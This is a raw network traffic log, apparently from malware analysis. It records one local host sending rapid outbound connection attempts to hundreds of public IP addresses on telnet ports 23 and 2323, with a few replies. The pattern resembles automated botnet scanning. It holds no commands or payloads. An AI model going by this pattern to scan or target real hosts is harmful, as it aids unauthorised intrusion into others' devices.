Dec 2, 2023 10:40:39.190727949 CET	50668	23	192.168.2.23	210.225.8.98
Dec 2, 2023 10:40:39.190737009 CET	50668	23	192.168.2.23	42.68.8.45
Dec 2, 2023 10:40:39.190768003 CET	50668	23	192.168.2.23	41.89.38.104
Dec 2, 2023 10:40:39.190771103 CET	50668	23	192.168.2.23	31.195.158.190
Dec 2, 2023 10:40:39.190787077 CET	50668	23	192.168.2.23	193.251.41.91
Dec 2, 2023 10:40:39.190803051 CET	50668	23	192.168.2.23	130.185.38.174
Dec 2, 2023 10:40:39.190810919 CET	50668	23	192.168.2.23	43.35.174.73
Dec 2, 2023 10:40:39.190819025 CET	50668	2323	192.168.2.23	108.237.131.240
Dec 2, 2023 10:40:39.190834999 CET	50668	23	192.168.2.23	210.43.148.32
Dec 2, 2023 10:40:39.190840960 CET	50668	23	192.168.2.23	88.132.148.79
Dec 2, 2023 10:40:39.190845013 CET	50668	23	192.168.2.23	122.84.166.151
Dec 2, 2023 10:40:39.190860987 CET	50668	23	192.168.2.23	102.190.86.60
Dec 2, 2023 10:40:39.190871954 CET	50668	23	192.168.2.23	110.232.151.157
Dec 2, 2023 10:40:39.190875053 CET	50668	23	192.168.2.23	177.245.195.76
Dec 2, 2023 10:40:39.190886974 CET	50668	23	192.168.2.23	23.216.178.83
Dec 2, 2023 10:40:39.190902948 CET	50668	23	192.168.2.23	12.18.90.140
Dec 2, 2023 10:40:39.190902948 CET	50668	23	192.168.2.23	201.51.17.55
Dec 2, 2023 10:40:39.190910101 CET	50668	2323	192.168.2.23	181.151.212.212
Dec 2, 2023 10:40:39.190920115 CET	50668	23	192.168.2.23	78.148.166.75
Dec 2, 2023 10:40:39.190931082 CET	50668	23	192.168.2.23	4.67.146.162
Dec 2, 2023 10:40:39.190943003 CET	50668	23	192.168.2.23	172.184.53.137
Dec 2, 2023 10:40:39.190943956 CET	50668	23	192.168.2.23	43.193.194.147
Dec 2, 2023 10:40:39.190947056 CET	50668	23	192.168.2.23	43.59.7.41
Dec 2, 2023 10:40:39.190958977 CET	50668	23	192.168.2.23	110.36.58.110
Dec 2, 2023 10:40:39.190959930 CET	50668	23	192.168.2.23	150.82.26.153
Dec 2, 2023 10:40:39.190967083 CET	50668	23	192.168.2.23	81.17.37.252
Dec 2, 2023 10:40:39.190979004 CET	50668	23	192.168.2.23	160.213.240.32
Dec 2, 2023 10:40:39.190994024 CET	50668	2323	192.168.2.23	27.136.119.190
Dec 2, 2023 10:40:39.190994024 CET	50668	23	192.168.2.23	108.98.132.50
Dec 2, 2023 10:40:39.191004992 CET	50668	23	192.168.2.23	101.247.170.155
Dec 2, 2023 10:40:39.191020966 CET	50668	23	192.168.2.23	175.156.252.225
Dec 2, 2023 10:40:39.191020966 CET	50668	23	192.168.2.23	223.178.195.72
Dec 2, 2023 10:40:39.191030979 CET	50668	23	192.168.2.23	60.192.53.26
Dec 2, 2023 10:40:39.191047907 CET	50668	23	192.168.2.23	62.192.73.173
Dec 2, 2023 10:40:39.191051006 CET	50668	23	192.168.2.23	200.195.166.237
Dec 2, 2023 10:40:39.191062927 CET	50668	23	192.168.2.23	161.251.159.89
Dec 2, 2023 10:40:39.191076040 CET	50668	23	192.168.2.23	193.228.140.175
Dec 2, 2023 10:40:39.191076994 CET	50668	2323	192.168.2.23	188.81.53.106
Dec 2, 2023 10:40:39.191096067 CET	50668	23	192.168.2.23	162.24.58.168
Dec 2, 2023 10:40:39.191099882 CET	50668	23	192.168.2.23	124.225.117.137
Dec 2, 2023 10:40:39.191106081 CET	50668	23	192.168.2.23	64.0.20.0
Dec 2, 2023 10:40:39.191119909 CET	50668	23	192.168.2.23	48.175.221.182
Dec 2, 2023 10:40:39.191135883 CET	50668	23	192.168.2.23	201.103.8.169
Dec 2, 2023 10:40:39.191135883 CET	50668	23	192.168.2.23	218.222.35.168
Dec 2, 2023 10:40:39.191154003 CET	50668	23	192.168.2.23	58.20.50.24
Dec 2, 2023 10:40:39.191163063 CET	50668	23	192.168.2.23	154.201.105.188
Dec 2, 2023 10:40:39.191170931 CET	50668	23	192.168.2.23	107.182.190.1
Dec 2, 2023 10:40:39.191183090 CET	50668	2323	192.168.2.23	5.101.194.148
Dec 2, 2023 10:40:39.191200018 CET	50668	23	192.168.2.23	141.244.174.19
Dec 2, 2023 10:40:39.191210032 CET	50668	23	192.168.2.23	91.3.226.37
Dec 2, 2023 10:40:39.191211939 CET	50668	23	192.168.2.23	89.141.219.30
Dec 2, 2023 10:40:39.191229105 CET	50668	23	192.168.2.23	193.24.196.244
Dec 2, 2023 10:40:39.191240072 CET	50668	23	192.168.2.23	178.42.234.108
Dec 2, 2023 10:40:39.191245079 CET	50668	23	192.168.2.23	181.115.187.129
Dec 2, 2023 10:40:39.191262960 CET	50668	23	192.168.2.23	184.206.22.216
Dec 2, 2023 10:40:39.191262960 CET	50668	23	192.168.2.23	212.110.160.219
Dec 2, 2023 10:40:39.191272020 CET	50668	23	192.168.2.23	202.224.194.246
Dec 2, 2023 10:40:39.191282034 CET	50668	2323	192.168.2.23	110.191.105.75
Dec 2, 2023 10:40:39.191286087 CET	50668	23	192.168.2.23	92.93.148.78
Dec 2, 2023 10:40:39.191303968 CET	50668	23	192.168.2.23	92.175.97.230
Dec 2, 2023 10:40:39.191314936 CET	50668	23	192.168.2.23	31.131.130.44
Dec 2, 2023 10:40:39.191384077 CET	50668	23	192.168.2.23	179.212.42.202
Dec 2, 2023 10:40:39.191389084 CET	50668	23	192.168.2.23	123.203.79.238
Dec 2, 2023 10:40:39.191411018 CET	50668	23	192.168.2.23	125.68.193.7
Dec 2, 2023 10:40:39.191430092 CET	50668	23	192.168.2.23	40.181.241.225
Dec 2, 2023 10:40:39.191431046 CET	50668	23	192.168.2.23	194.107.143.38
Dec 2, 2023 10:40:39.191431999 CET	50668	23	192.168.2.23	80.5.26.36
Dec 2, 2023 10:40:39.191431999 CET	50668	2323	192.168.2.23	24.64.40.48
Dec 2, 2023 10:40:39.191447020 CET	50668	23	192.168.2.23	174.34.117.8
Dec 2, 2023 10:40:39.191467047 CET	50668	23	192.168.2.23	220.110.27.88
Dec 2, 2023 10:40:39.191478968 CET	50668	23	192.168.2.23	20.188.145.181
Dec 2, 2023 10:40:39.191488981 CET	50668	23	192.168.2.23	220.249.10.109
Dec 2, 2023 10:40:39.191500902 CET	50668	23	192.168.2.23	65.166.248.166
Dec 2, 2023 10:40:39.191505909 CET	50668	23	192.168.2.23	166.228.159.64
Dec 2, 2023 10:40:39.191518068 CET	50668	23	192.168.2.23	204.167.39.106
Dec 2, 2023 10:40:39.191529989 CET	50668	23	192.168.2.23	114.144.40.144
Dec 2, 2023 10:40:39.191529989 CET	50668	23	192.168.2.23	135.112.133.80
Dec 2, 2023 10:40:39.191543102 CET	50668	2323	192.168.2.23	125.119.37.4
Dec 2, 2023 10:40:39.191565037 CET	50668	23	192.168.2.23	192.238.125.37
Dec 2, 2023 10:40:39.191565037 CET	50668	23	192.168.2.23	72.211.159.140
Dec 2, 2023 10:40:39.191571951 CET	50668	23	192.168.2.23	88.63.99.165
Dec 2, 2023 10:40:39.191575050 CET	50668	23	192.168.2.23	75.21.217.2
Dec 2, 2023 10:40:39.191592932 CET	50668	23	192.168.2.23	133.165.155.199
Dec 2, 2023 10:40:39.191602945 CET	50668	23	192.168.2.23	59.252.228.9
Dec 2, 2023 10:40:39.191612005 CET	50668	23	192.168.2.23	168.111.24.158
Dec 2, 2023 10:40:39.191626072 CET	50668	23	192.168.2.23	63.174.145.157
Dec 2, 2023 10:40:39.191628933 CET	50668	23	192.168.2.23	173.136.27.238
Dec 2, 2023 10:40:39.191639900 CET	50668	2323	192.168.2.23	80.99.252.153
Dec 2, 2023 10:40:39.191657066 CET	50668	23	192.168.2.23	82.237.188.6
Dec 2, 2023 10:40:39.191663027 CET	50668	23	192.168.2.23	5.221.227.147
Dec 2, 2023 10:40:39.191673994 CET	50668	23	192.168.2.23	135.195.220.94
Dec 2, 2023 10:40:39.191674948 CET	50668	23	192.168.2.23	148.122.203.2
Dec 2, 2023 10:40:39.191690922 CET	50668	23	192.168.2.23	67.212.128.134
Dec 2, 2023 10:40:39.191695929 CET	50668	23	192.168.2.23	152.15.90.255
Dec 2, 2023 10:40:39.191699982 CET	50668	23	192.168.2.23	175.207.134.144
Dec 2, 2023 10:40:39.191725016 CET	50668	23	192.168.2.23	69.210.114.8
Dec 2, 2023 10:40:39.191734076 CET	50668	23	192.168.2.23	91.166.35.159
Dec 2, 2023 10:40:39.191741943 CET	50668	2323	192.168.2.23	1.240.39.255
Dec 2, 2023 10:40:39.191747904 CET	50668	23	192.168.2.23	168.43.172.29
Dec 2, 2023 10:40:39.191761971 CET	50668	23	192.168.2.23	14.127.93.15
Dec 2, 2023 10:40:39.191761971 CET	50668	23	192.168.2.23	87.141.132.184
Dec 2, 2023 10:40:39.191770077 CET	50668	23	192.168.2.23	59.20.55.218
Dec 2, 2023 10:40:39.191782951 CET	50668	23	192.168.2.23	116.8.184.202
Dec 2, 2023 10:40:39.191792965 CET	50668	23	192.168.2.23	186.21.139.41
Dec 2, 2023 10:40:39.191796064 CET	50668	23	192.168.2.23	8.227.126.35
Dec 2, 2023 10:40:39.191808939 CET	50668	23	192.168.2.23	156.23.41.233
Dec 2, 2023 10:40:39.191814899 CET	50668	23	192.168.2.23	211.138.229.105
Dec 2, 2023 10:40:39.191828966 CET	50668	2323	192.168.2.23	179.54.5.43
Dec 2, 2023 10:40:39.191838026 CET	50668	23	192.168.2.23	31.219.159.229
Dec 2, 2023 10:40:39.191854000 CET	50668	23	192.168.2.23	42.109.48.231
Dec 2, 2023 10:40:39.191854000 CET	50668	23	192.168.2.23	77.253.152.23
Dec 2, 2023 10:40:39.191869974 CET	50668	23	192.168.2.23	75.46.173.133
Dec 2, 2023 10:40:39.191879034 CET	50668	23	192.168.2.23	178.191.87.242
Dec 2, 2023 10:40:39.191885948 CET	50668	23	192.168.2.23	38.47.161.53
Dec 2, 2023 10:40:39.191886902 CET	50668	23	192.168.2.23	175.31.36.125
Dec 2, 2023 10:40:39.191899061 CET	50668	23	192.168.2.23	43.110.180.68
Dec 2, 2023 10:40:39.191905022 CET	50668	23	192.168.2.23	164.175.214.60
Dec 2, 2023 10:40:39.308789015 CET	23	50668	66.23.9.152	192.168.2.23
Dec 2, 2023 10:40:39.379679918 CET	2323	50668	217.214.76.212	192.168.2.23
Dec 2, 2023 10:40:39.591689110 CET	2323	50668	183.172.172.25	192.168.2.23
Dec 2, 2023 10:40:40.192989111 CET	50668	2323	192.168.2.23	58.140.146.204
Dec 2, 2023 10:40:40.193015099 CET	50668	23	192.168.2.23	101.237.66.181
Dec 2, 2023 10:40:40.193015099 CET	50668	23	192.168.2.23	106.45.217.38
Dec 2, 2023 10:40:40.193015099 CET	50668	23	192.168.2.23	48.177.69.2
Dec 2, 2023 10:40:40.193025112 CET	50668	23	192.168.2.23	218.201.186.237
Dec 2, 2023 10:40:40.193064928 CET	50668	23	192.168.2.23	156.15.197.184
Dec 2, 2023 10:40:40.193114996 CET	50668	23	192.168.2.23	62.137.124.175
Dec 2, 2023 10:40:40.193114996 CET	50668	23	192.168.2.23	157.25.162.248
Dec 2, 2023 10:40:40.193114996 CET	50668	2323	192.168.2.23	120.54.0.153
Dec 2, 2023 10:40:40.193126917 CET	50668	23	192.168.2.23	60.220.21.45
Dec 2, 2023 10:40:40.193136930 CET	50668	23	192.168.2.23	80.242.167.79
Dec 2, 2023 10:40:40.193136930 CET	50668	23	192.168.2.23	139.245.5.174
Dec 2, 2023 10:40:40.193139076 CET	50668	23	192.168.2.23	167.80.21.141
Dec 2, 2023 10:40:40.193152905 CET	50668	23	192.168.2.23	35.253.227.252
Dec 2, 2023 10:40:40.193161964 CET	50668	23	192.168.2.23	42.61.112.166
Dec 2, 2023 10:40:40.193169117 CET	50668	23	192.168.2.23	179.29.24.252
Dec 2, 2023 10:40:40.193183899 CET	50668	23	192.168.2.23	219.231.16.62
Dec 2, 2023 10:40:40.193183899 CET	50668	23	192.168.2.23	220.71.247.61
Dec 2, 2023 10:40:40.193202972 CET	50668	23	192.168.2.23	147.225.236.250
Dec 2, 2023 10:40:40.193202972 CET	50668	2323	192.168.2.23	17.230.167.106
Dec 2, 2023 10:40:40.193202972 CET	50668	23	192.168.2.23	4.154.157.242
Dec 2, 2023 10:40:40.193212032 CET	50668	23	192.168.2.23	200.51.149.67
Dec 2, 2023 10:40:40.193222046 CET	50668	23	192.168.2.23	183.164.81.91
Dec 2, 2023 10:40:40.193223953 CET	50668	23	192.168.2.23	122.80.253.42
Dec 2, 2023 10:40:40.193233013 CET	50668	23	192.168.2.23	72.244.101.25
Dec 2, 2023 10:40:40.193238020 CET	50668	23	192.168.2.23	174.39.232.175
Dec 2, 2023 10:40:40.193238974 CET	50668	23	192.168.2.23	5.187.245.57
Dec 2, 2023 10:40:40.193262100 CET	50668	23	192.168.2.23	168.90.79.152
Dec 2, 2023 10:40:40.193265915 CET	50668	23	192.168.2.23	163.133.58.195
Dec 2, 2023 10:40:40.193264961 CET	50668	23	192.168.2.23	135.112.14.185
Dec 2, 2023 10:40:40.193265915 CET	50668	2323	192.168.2.23	37.246.133.17
Dec 2, 2023 10:40:40.193268061 CET	50668	23	192.168.2.23	123.229.198.156
Dec 2, 2023 10:40:40.193286896 CET	50668	23	192.168.2.23	72.114.185.13
Dec 2, 2023 10:40:40.193290949 CET	50668	23	192.168.2.23	173.215.155.30
Dec 2, 2023 10:40:40.193322897 CET	50668	23	192.168.2.23	120.34.190.121
Dec 2, 2023 10:40:40.193325996 CET	50668	23	192.168.2.23	78.38.152.26
Dec 2, 2023 10:40:40.193325996 CET	50668	23	192.168.2.23	45.132.115.131
Dec 2, 2023 10:40:40.193330050 CET	50668	23	192.168.2.23	179.226.69.193
Dec 2, 2023 10:40:40.193330050 CET	50668	23	192.168.2.23	112.2.40.109
Dec 2, 2023 10:40:40.193331003 CET	50668	23	192.168.2.23	45.213.35.45
Dec 2, 2023 10:40:40.193341970 CET	50668	2323	192.168.2.23	47.5.85.73
Dec 2, 2023 10:40:40.193351030 CET	50668	23	192.168.2.23	68.240.56.17
Dec 2, 2023 10:40:40.193351984 CET	50668	23	192.168.2.23	71.210.82.93
Dec 2, 2023 10:40:40.193370104 CET	50668	23	192.168.2.23	60.181.191.129
Dec 2, 2023 10:40:40.193370104 CET	50668	23	192.168.2.23	57.163.199.153
Dec 2, 2023 10:40:40.193372965 CET	50668	23	192.168.2.23	218.243.86.87
Dec 2, 2023 10:40:40.193384886 CET	50668	23	192.168.2.23	118.138.98.5
Dec 2, 2023 10:40:40.193384886 CET	50668	23	192.168.2.23	182.226.131.2
Dec 2, 2023 10:40:40.193391085 CET	50668	23	192.168.2.23	96.241.35.87
Dec 2, 2023 10:40:40.193396091 CET	50668	23	192.168.2.23	181.67.36.38
Dec 2, 2023 10:40:40.193416119 CET	50668	2323	192.168.2.23	96.163.67.129
Dec 2, 2023 10:40:40.193417072 CET	50668	23	192.168.2.23	71.119.151.194
Dec 2, 2023 10:40:40.193417072 CET	50668	23	192.168.2.23	71.224.56.136
Dec 2, 2023 10:40:40.193424940 CET	50668	23	192.168.2.23	105.86.195.185
Dec 2, 2023 10:40:40.193432093 CET	50668	23	192.168.2.23	36.9.187.98
Dec 2, 2023 10:40:40.193433046 CET	50668	23	192.168.2.23	60.220.60.74
Dec 2, 2023 10:40:40.193444967 CET	50668	23	192.168.2.23	136.175.56.179
Dec 2, 2023 10:40:40.193451881 CET	50668	23	192.168.2.23	84.120.6.168
Dec 2, 2023 10:40:40.193451881 CET	50668	23	192.168.2.23	78.102.79.64
Dec 2, 2023 10:40:40.193459988 CET	50668	2323	192.168.2.23	97.122.162.160
Dec 2, 2023 10:40:40.193464994 CET	50668	23	192.168.2.23	185.190.67.139
Dec 2, 2023 10:40:40.193470955 CET	50668	23	192.168.2.23	121.122.246.67
Dec 2, 2023 10:40:40.193479061 CET	50668	23	192.168.2.23	48.80.118.211
Dec 2, 2023 10:40:40.193485022 CET	50668	23	192.168.2.23	208.66.249.114
Dec 2, 2023 10:40:40.193494081 CET	50668	23	192.168.2.23	72.8.79.247
Dec 2, 2023 10:40:40.193512917 CET	50668	23	192.168.2.23	168.45.25.72
Dec 2, 2023 10:40:40.193519115 CET	50668	23	192.168.2.23	160.219.187.50
Dec 2, 2023 10:40:40.193520069 CET	50668	23	192.168.2.23	123.161.21.144
Dec 2, 2023 10:40:40.193521976 CET	50668	23	192.168.2.23	191.96.26.54
Dec 2, 2023 10:40:40.193521976 CET	50668	23	192.168.2.23	94.26.189.171
Dec 2, 2023 10:40:40.193536043 CET	50668	23	192.168.2.23	183.82.35.29
Dec 2, 2023 10:40:40.193538904 CET	50668	2323	192.168.2.23	122.111.67.131
Dec 2, 2023 10:40:40.193538904 CET	50668	23	192.168.2.23	149.30.35.127
Dec 2, 2023 10:40:40.193556070 CET	50668	23	192.168.2.23	150.34.154.102
Dec 2, 2023 10:40:40.193558931 CET	50668	23	192.168.2.23	73.64.37.175
Dec 2, 2023 10:40:40.193567038 CET	50668	23	192.168.2.23	66.141.241.153
Dec 2, 2023 10:40:40.193569899 CET	50668	23	192.168.2.23	183.248.148.164
Dec 2, 2023 10:40:40.193576097 CET	50668	23	192.168.2.23	174.50.177.164
Dec 2, 2023 10:40:40.193576097 CET	50668	23	192.168.2.23	90.67.125.87
Dec 2, 2023 10:40:40.193587065 CET	50668	23	192.168.2.23	142.5.106.247
Dec 2, 2023 10:40:40.193589926 CET	50668	23	192.168.2.23	68.82.3.92
Dec 2, 2023 10:40:40.193589926 CET	50668	23	192.168.2.23	222.160.87.242
Dec 2, 2023 10:40:40.193593025 CET	50668	2323	192.168.2.23	149.74.18.35
Dec 2, 2023 10:40:40.193608999 CET	50668	23	192.168.2.23	115.113.136.157
Dec 2, 2023 10:40:40.193610907 CET	50668	23	192.168.2.23	64.55.238.247
Dec 2, 2023 10:40:40.193613052 CET	50668	23	192.168.2.23	208.64.160.152
Dec 2, 2023 10:40:40.193623066 CET	50668	23	192.168.2.23	37.171.118.84
Dec 2, 2023 10:40:40.193640947 CET	50668	23	192.168.2.23	223.214.251.117
Dec 2, 2023 10:40:40.193640947 CET	50668	23	192.168.2.23	5.178.245.96
Dec 2, 2023 10:40:40.193648100 CET	50668	2323	192.168.2.23	189.25.88.197
Dec 2, 2023 10:40:40.193656921 CET	50668	23	192.168.2.23	200.74.21.215
Dec 2, 2023 10:40:40.193659067 CET	50668	23	192.168.2.23	87.241.195.93
Dec 2, 2023 10:40:40.193661928 CET	50668	23	192.168.2.23	221.165.103.128
Dec 2, 2023 10:40:40.193670988 CET	50668	23	192.168.2.23	170.140.230.81
Dec 2, 2023 10:40:40.193675041 CET	50668	23	192.168.2.23	36.68.129.6
Dec 2, 2023 10:40:40.193680048 CET	50668	23	192.168.2.23	19.25.82.28
Dec 2, 2023 10:40:40.193680048 CET	50668	23	192.168.2.23	45.236.214.147
Dec 2, 2023 10:40:40.193696022 CET	50668	23	192.168.2.23	75.8.193.228
Dec 2, 2023 10:40:40.193712950 CET	50668	2323	192.168.2.23	111.107.37.212
Dec 2, 2023 10:40:40.193715096 CET	50668	23	192.168.2.23	59.20.228.15
Dec 2, 2023 10:40:40.193722963 CET	50668	23	192.168.2.23	189.7.230.14
Dec 2, 2023 10:40:40.193732023 CET	50668	23	192.168.2.23	115.212.115.43
Dec 2, 2023 10:40:40.193743944 CET	50668	23	192.168.2.23	179.255.37.40
Dec 2, 2023 10:40:40.193744898 CET	50668	23	192.168.2.23	104.0.183.18
Dec 2, 2023 10:40:40.193749905 CET	50668	23	192.168.2.23	150.191.186.142
Dec 2, 2023 10:40:40.193749905 CET	50668	23	192.168.2.23	82.239.53.216
Dec 2, 2023 10:40:40.193761110 CET	50668	23	192.168.2.23	125.187.204.31
Dec 2, 2023 10:40:40.193768024 CET	50668	23	192.168.2.23	108.62.118.134
Dec 2, 2023 10:40:40.193768024 CET	50668	23	192.168.2.23	163.27.181.124
Dec 2, 2023 10:40:40.193772078 CET	50668	23	192.168.2.23	144.92.123.33
Dec 2, 2023 10:40:40.193783998 CET	50668	23	192.168.2.23	148.151.193.153
Dec 2, 2023 10:40:40.193792105 CET	50668	23	192.168.2.23	70.72.2.126
Dec 2, 2023 10:40:40.193793058 CET	50668	2323	192.168.2.23	23.91.153.107
Dec 2, 2023 10:40:40.193793058 CET	50668	23	192.168.2.23	204.70.11.59
Dec 2, 2023 10:40:40.193805933 CET	50668	23	192.168.2.23	81.10.10.152
Dec 2, 2023 10:40:40.193809032 CET	50668	23	192.168.2.23	179.5.60.66
Dec 2, 2023 10:40:40.193816900 CET	50668	23	192.168.2.23	159.170.105.60
Dec 2, 2023 10:40:40.193820000 CET	50668	23	192.168.2.23	39.221.96.232
Dec 2, 2023 10:40:40.193830967 CET	50668	23	192.168.2.23	95.239.210.73
Dec 2, 2023 10:40:40.193837881 CET	50668	23	192.168.2.23	85.208.192.245
Dec 2, 2023 10:40:40.193840981 CET	50668	2323	192.168.2.23	18.121.191.147
Dec 2, 2023 10:40:40.193840981 CET	50668	23	192.168.2.23	34.155.16.233
Dec 2, 2023 10:40:40.193878889 CET	50668	23	192.168.2.23	194.79.95.143
Dec 2, 2023 10:40:40.193896055 CET	50668	23	192.168.2.23	114.148.90.77
Dec 2, 2023 10:40:40.193897963 CET	50668	23	192.168.2.23	155.104.87.31
Dec 2, 2023 10:40:40.193911076 CET	50668	23	192.168.2.23	5.95.87.145
Dec 2, 2023 10:40:40.193911076 CET	50668	23	192.168.2.23	206.228.212.118
Dec 2, 2023 10:40:40.193911076 CET	50668	23	192.168.2.23	218.122.222.232
Dec 2, 2023 10:40:40.193912983 CET	50668	23	192.168.2.23	172.38.105.229
Dec 2, 2023 10:40:40.193922043 CET	50668	2323	192.168.2.23	78.6.152.54
Dec 2, 2023 10:40:40.193933010 CET	50668	23	192.168.2.23	4.76.166.70
Dec 2, 2023 10:40:40.193938971 CET	50668	23	192.168.2.23	166.215.119.252
Dec 2, 2023 10:40:40.193952084 CET	50668	23	192.168.2.23	151.149.57.132
Dec 2, 2023 10:40:40.193954945 CET	50668	23	192.168.2.23	93.21.8.188
Dec 2, 2023 10:40:40.193973064 CET	50668	23	192.168.2.23	155.100.186.130
Dec 2, 2023 10:40:40.193973064 CET	50668	23	192.168.2.23	169.152.83.69
Dec 2, 2023 10:40:40.193977118 CET	50668	23	192.168.2.23	142.131.219.214
Dec 2, 2023 10:40:40.193978071 CET	50668	23	192.168.2.23	73.79.218.115
Dec 2, 2023 10:40:40.193984985 CET	50668	23	192.168.2.23	32.154.209.252
Dec 2, 2023 10:40:40.193984985 CET	50668	23	192.168.2.23	209.210.242.150
Dec 2, 2023 10:40:40.193988085 CET	50668	23	192.168.2.23	99.225.102.89
Dec 2, 2023 10:40:40.193991899 CET	50668	2323	192.168.2.23	118.161.157.58
Dec 2, 2023 10:40:40.194010019 CET	50668	23	192.168.2.23	178.141.194.217
Dec 2, 2023 10:40:40.194019079 CET	50668	23	192.168.2.23	179.39.215.8
Dec 2, 2023 10:40:40.194020033 CET	50668	23	192.168.2.23	220.107.236.139
Dec 2, 2023 10:40:40.194026947 CET	50668	23	192.168.2.23	121.19.103.111
Dec 2, 2023 10:40:40.194046974 CET	50668	23	192.168.2.23	143.248.128.229
Dec 2, 2023 10:40:40.194046974 CET	50668	23	192.168.2.23	69.50.224.187
Dec 2, 2023 10:40:40.194047928 CET	50668	23	192.168.2.23	220.98.188.78
Dec 2, 2023 10:40:40.194047928 CET	50668	23	192.168.2.23	86.33.113.80
Dec 2, 2023 10:40:40.194051027 CET	50668	23	192.168.2.23	98.211.49.21
Dec 2, 2023 10:40:40.194056988 CET	50668	2323	192.168.2.23	2.108.200.64
Dec 2, 2023 10:40:40.194062948 CET	50668	23	192.168.2.23	130.193.248.169
Dec 2, 2023 10:40:40.194067955 CET	50668	23	192.168.2.23	116.199.212.61
Dec 2, 2023 10:40:40.194068909 CET	50668	23	192.168.2.23	109.2.43.96
Dec 2, 2023 10:40:40.194082022 CET	50668	23	192.168.2.23	71.5.253.24
Dec 2, 2023 10:40:40.194086075 CET	50668	23	192.168.2.23	104.154.17.29
Dec 2, 2023 10:40:40.194087029 CET	50668	23	192.168.2.23	47.166.245.174
Dec 2, 2023 10:40:40.194092989 CET	50668	23	192.168.2.23	166.216.88.185
Dec 2, 2023 10:40:40.194097996 CET	50668	23	192.168.2.23	59.31.85.110
Dec 2, 2023 10:40:40.434222937 CET	2323	50668	78.6.152.54	192.168.2.23
Dec 2, 2023 10:40:40.438472986 CET	23	50668	5.178.245.96	192.168.2.23
Dec 2, 2023 10:40:40.470798969 CET	23	50668	78.38.152.26	192.168.2.23
Dec 2, 2023 10:40:40.485485077 CET	23	50668	220.71.247.61	192.168.2.23
Dec 2, 2023 10:40:40.491136074 CET	23	50668	115.212.115.43	192.168.2.23
Dec 2, 2023 10:40:41.195159912 CET	50668	2323	192.168.2.23	72.144.193.24
Dec 2, 2023 10:40:41.195203066 CET	50668	23	192.168.2.23	154.144.198.48
Dec 2, 2023 10:40:41.195203066 CET	50668	23	192.168.2.23	164.72.58.54
Dec 2, 2023 10:40:41.195219040 CET	50668	23	192.168.2.23	89.246.139.116
Dec 2, 2023 10:40:41.195223093 CET	50668	23	192.168.2.23	160.202.95.137
Dec 2, 2023 10:40:41.195242882 CET	50668	23	192.168.2.23	194.92.13.189
Dec 2, 2023 10:40:41.195246935 CET	50668	23	192.168.2.23	20.153.225.152
Dec 2, 2023 10:40:41.195254087 CET	50668	23	192.168.2.23	190.167.243.87
Dec 2, 2023 10:40:41.195254087 CET	50668	23	192.168.2.23	117.194.118.244
Dec 2, 2023 10:40:41.195265055 CET	50668	23	192.168.2.23	41.159.239.185
Dec 2, 2023 10:40:41.195275068 CET	50668	2323	192.168.2.23	210.139.162.117
Dec 2, 2023 10:40:41.195276976 CET	50668	23	192.168.2.23	61.167.32.12
Dec 2, 2023 10:40:41.195301056 CET	50668	23	192.168.2.23	5.164.204.31
Dec 2, 2023 10:40:41.195301056 CET	50668	23	192.168.2.23	53.101.17.13
Dec 2, 2023 10:40:41.195307016 CET	50668	23	192.168.2.23	104.64.141.145
Dec 2, 2023 10:40:41.195327997 CET	50668	23	192.168.2.23	207.123.177.144
Dec 2, 2023 10:40:41.195332050 CET	50668	23	192.168.2.23	31.167.118.39
Dec 2, 2023 10:40:41.195334911 CET	50668	23	192.168.2.23	61.96.139.185
Dec 2, 2023 10:40:41.195338964 CET	50668	23	192.168.2.23	53.238.226.103
Dec 2, 2023 10:40:41.195350885 CET	50668	23	192.168.2.23	84.239.216.221
Dec 2, 2023 10:40:41.195359945 CET	50668	2323	192.168.2.23	177.73.217.15
Dec 2, 2023 10:40:41.195369959 CET	50668	23	192.168.2.23	160.81.34.97
Dec 2, 2023 10:40:41.195374012 CET	50668	23	192.168.2.23	111.253.159.174
Dec 2, 2023 10:40:41.195393085 CET	50668	23	192.168.2.23	185.14.235.219
Dec 2, 2023 10:40:41.195401907 CET	50668	23	192.168.2.23	57.193.166.88
Dec 2, 2023 10:40:41.195403099 CET	50668	23	192.168.2.23	68.144.218.157
Dec 2, 2023 10:40:41.195440054 CET	50668	23	192.168.2.23	108.82.9.14
Dec 2, 2023 10:40:41.195444107 CET	50668	23	192.168.2.23	145.131.83.4
Dec 2, 2023 10:40:41.195461035 CET	50668	23	192.168.2.23	148.18.237.194
Dec 2, 2023 10:40:41.195461988 CET	50668	23	192.168.2.23	191.245.160.103
Dec 2, 2023 10:40:41.195473909 CET	50668	2323	192.168.2.23	86.173.18.42
Dec 2, 2023 10:40:41.195477009 CET	50668	23	192.168.2.23	62.75.208.210
Dec 2, 2023 10:40:41.195486069 CET	50668	23	192.168.2.23	109.158.210.232
Dec 2, 2023 10:40:41.195494890 CET	50668	23	192.168.2.23	63.36.214.108
Dec 2, 2023 10:40:41.195518017 CET	50668	23	192.168.2.23	201.46.243.118
Dec 2, 2023 10:40:41.195523024 CET	50668	23	192.168.2.23	64.66.27.239
Dec 2, 2023 10:40:41.195600033 CET	50668	23	192.168.2.23	138.0.98.125
Dec 2, 2023 10:40:41.195604086 CET	50668	23	192.168.2.23	20.85.169.241
Dec 2, 2023 10:40:41.195616961 CET	50668	23	192.168.2.23	209.43.244.73
Dec 2, 2023 10:40:41.195632935 CET	50668	23	192.168.2.23	201.205.46.170
Dec 2, 2023 10:40:41.195647955 CET	50668	23	192.168.2.23	19.158.201.62
Dec 2, 2023 10:40:41.195658922 CET	50668	2323	192.168.2.23	80.40.122.198
Dec 2, 2023 10:40:41.195658922 CET	50668	23	192.168.2.23	192.144.233.195
Dec 2, 2023 10:40:41.195662975 CET	50668	23	192.168.2.23	43.36.135.249
Dec 2, 2023 10:40:41.195676088 CET	50668	23	192.168.2.23	95.206.144.146
Dec 2, 2023 10:40:41.195688009 CET	50668	23	192.168.2.23	19.165.131.185
Dec 2, 2023 10:40:41.195699930 CET	50668	23	192.168.2.23	110.189.12.49
Dec 2, 2023 10:40:41.195713043 CET	50668	23	192.168.2.23	180.249.229.101
Dec 2, 2023 10:40:41.195713997 CET	50668	23	192.168.2.23	206.247.55.199
Dec 2, 2023 10:40:41.195719957 CET	50668	23	192.168.2.23	141.55.152.58
Dec 2, 2023 10:40:41.195733070 CET	50668	2323	192.168.2.23	210.220.7.58
Dec 2, 2023 10:40:41.195744038 CET	50668	23	192.168.2.23	18.43.147.123
Dec 2, 2023 10:40:41.195751905 CET	50668	23	192.168.2.23	17.150.166.221
Dec 2, 2023 10:40:41.195764065 CET	50668	23	192.168.2.23	101.107.26.180
Dec 2, 2023 10:40:41.195764065 CET	50668	23	192.168.2.23	44.184.39.221
